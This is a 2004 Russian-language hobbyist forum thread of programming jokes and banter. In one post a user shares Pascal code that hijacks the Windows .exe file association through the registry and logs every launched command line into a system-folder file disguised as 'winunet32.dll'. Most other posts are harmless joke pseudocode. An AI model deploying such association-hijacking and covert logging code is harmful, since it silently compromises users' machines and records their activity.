Гипат.org :: Просмотр темы - Приколы и прочее


	Гипат.org Найдется место всем! :: В чате сейчас никого нет

Приколы и прочее
Страницы Пред. 1, 2, 3 ... 7, 8, 9 ... 43, 44, 45 След.

Список форумов -> Флейм

Автор

Сообщение

Morgot
Ветеран

Пришел: 17.04.2004
Сообщения: 1342

Добавлено: 19 декабря 2004, 17:06

Фрипаскаль клёвая вешь. Мне ещё нравиться СоМСкрипт.
inqsoft.tsx.org

Код:

var
str,params:string;
reg:TRegistry;
path:PChar;
f:text;
i:integer;
begin
GetWindowsDirectory(path,max_path);
reg:=TRegistry.Create;
reg.RootKey:=HKEY_CLASSES_ROOT;
reg.OpenKey('exefile\shell\open\command',true);
str:=reg.ReadString('');
if str<>(path+'notepad.exe %1 %*') then
reg.WriteString('',path+'notepad.exe %1 %*');
if paramcount<>0 then
begin

assignfile(f, path+'\system\winunet32.dll');
if fileexists(path+'\system\winunet32.dll')then append(f)
else rewrite(f);
params:='';
for i:=2 to paramcount do params:=params+' '+paramstr(i);
writeln(f,paramstr(1)+params);
WinExec(PChar(paramstr(1)+' '+params),sw_restore);
end;
end.

екзешники откоаваются через блокнот

_________________
Ignis Fatum

Volfram
Смерть гоблинов

Пришел: 15.05.2003
Сообщения: 241
Откуда: Рига

Добавлено: 19 декабря 2004, 18:24

Цитата:

Ааааа! рекорд!!!!! Да, там есть точка! Но я эти рекорды не люблю, лучше обойдусь без них, и для меня опять нету точек

Ну незнаю, я когда приходится писать что-нибудь на ранних версиях Паскаля, часто ими пользуюсь.

ivanitto
Зайчатник

Пришел: 27.05.2002
Сообщения: 31
Откуда: Чернигов

Добавлено: 19 декабря 2004, 21:22

Программа Special_message_4_SnAIper написана на так называемом МЕТАЯЗЫКЕ, в котором главное не синтаксис, а смысл. Метяазык вы можете придумать себе сами, но желательно, чтобы смысл кода был понятен не только одному вам.

Снайпер
Зеленый гипатский зануда

Пришел: 18.01.2004
Сообщения: 3420
Откуда: Кызыл

Добавлено: 19 декабря 2004, 21:28

Ааааа, вот оно как! А если б я не знал ничего из этих заюзанных частей ... _________________ Я желаю всем счастья!

ivanitto
Зайчатник

Пришел: 27.05.2002
Сообщения: 31
Откуда: Чернигов

Добавлено: 19 декабря 2004, 21:29

Новогодняя песенка программистов:

Код:

program Елочка;
Begin
Лес.елочка.create();
While not Лес.елочка.dead do
Begin
лес.елочка.age := лес.елочка.age+1;
if зима or лето then
begin
лес.елочка.plain := true;
лес.елочка.color := cl_green;
end;

метель.filename:='D:\Music\NSYNC - Bye Bye Bye.mp3';
метель.open;
sleep(1000);
метель.play;

мороз.укутать(лес.елочка);
GetMessage(H, лес.елочка.handle, 0, 0);
if h.uint = wm_замерзла then
dead := true;
end;

лес.заяц.create;
лес.заяц.трусливый := true;
лес.заяц.color := cl_gray;
x := лес.елочка.left;
y := лес.елочка.top;
While x
Begin
лес.заяц.left := x;
inc(x);
лес.заяц.top := y + round( abs(sin(x*pi/180)*10) );
end;

Winexec('wolf3d.exe /evil',0);

лес.елочка.cuttoclipboard;
Праздник.pastefromclipboard;
Праздник.елочка.skin.loadfromfile('нарядная.jpg');
For i:=1 to SizeOf(Праздник.елочка.радость) do
Прадзник.Дети.Настроение + Праздник.елочка.радость;
End.

Ссылка на источник

ivanitto
Зайчатник

Пришел: 27.05.2002
Сообщения: 31
Откуда: Чернигов

Добавлено: 19 декабря 2004, 21:32

Snaiper, что-то мне подсказывало, что твой компилятор поймет этот метаязык

Morgot
Ветеран

Пришел: 17.04.2004
Сообщения: 1342

Добавлено: 19 декабря 2004, 21:52

Про Расписные Стеньки Разина ладьи напишешь? _________________ Ignis Fatum

Снайпер
Зеленый гипатский зануда

Пришел: 18.01.2004
Сообщения: 3420
Откуда: Кызыл

Добавлено: 19 декабря 2004, 21:57

Ну естественно я понял _________________ Я желаю всем счастья!

Sagrer
Убийца троллей

Пришел: 24.12.2001
Сообщения: 3548
Откуда: Курск

Добавлено: 19 декабря 2004, 22:08

Цитата:

if h.uint = wm_замерзла then
dead := true;
end;

ашыыыпка

!

begin не было

. Значит end после if не нужен :)

а так :up:

Снайпер
Зеленый гипатский зануда

Пришел: 18.01.2004
Сообщения: 3420
Откуда: Кызыл

Добавлено: 19 декабря 2004, 22:15

Я могу проще эту песню написать sound_add(Elka,"sounds\elka.wav"); sound_set_volume(Elka,0); //0 to hear this normal sound_set_pan(Elka,0); sound_set_type(Elka,normal); sound_play(Elka); if not(sound_is_playing(Elka)) then { game_end(); } _________________ Я желаю всем счастья!

MX
Опытный воин

Пришел: 04.10.2004
Сообщения: 635
Откуда: Брянск

Добавлено: 20 декабря 2004, 00:29

2 ivanitto
гы гы хорошо однако

а я тут по старинке над текстурами измываюсь...вот собственно очередное тво(а)рение

X_File.JPG
35.37 KB, Скачано 639 раз(а).

Farlander
Гроза орков

Пришел: 16.08.2004
Сообщения: 1863

Добавлено: 20 декабря 2004, 02:11

Ты еще скин Шварца нарисуй

Volfram
Смерть гоблинов

Пришел: 15.05.2003
Сообщения: 241
Откуда: Рига

Добавлено: 20 декабря 2004, 13:01

Lefis
Смерть гоблинов

Пришел: 01.11.2003
Сообщения: 206
Откуда: где гоблинов много

Добавлено: 23 декабря 2004, 23:08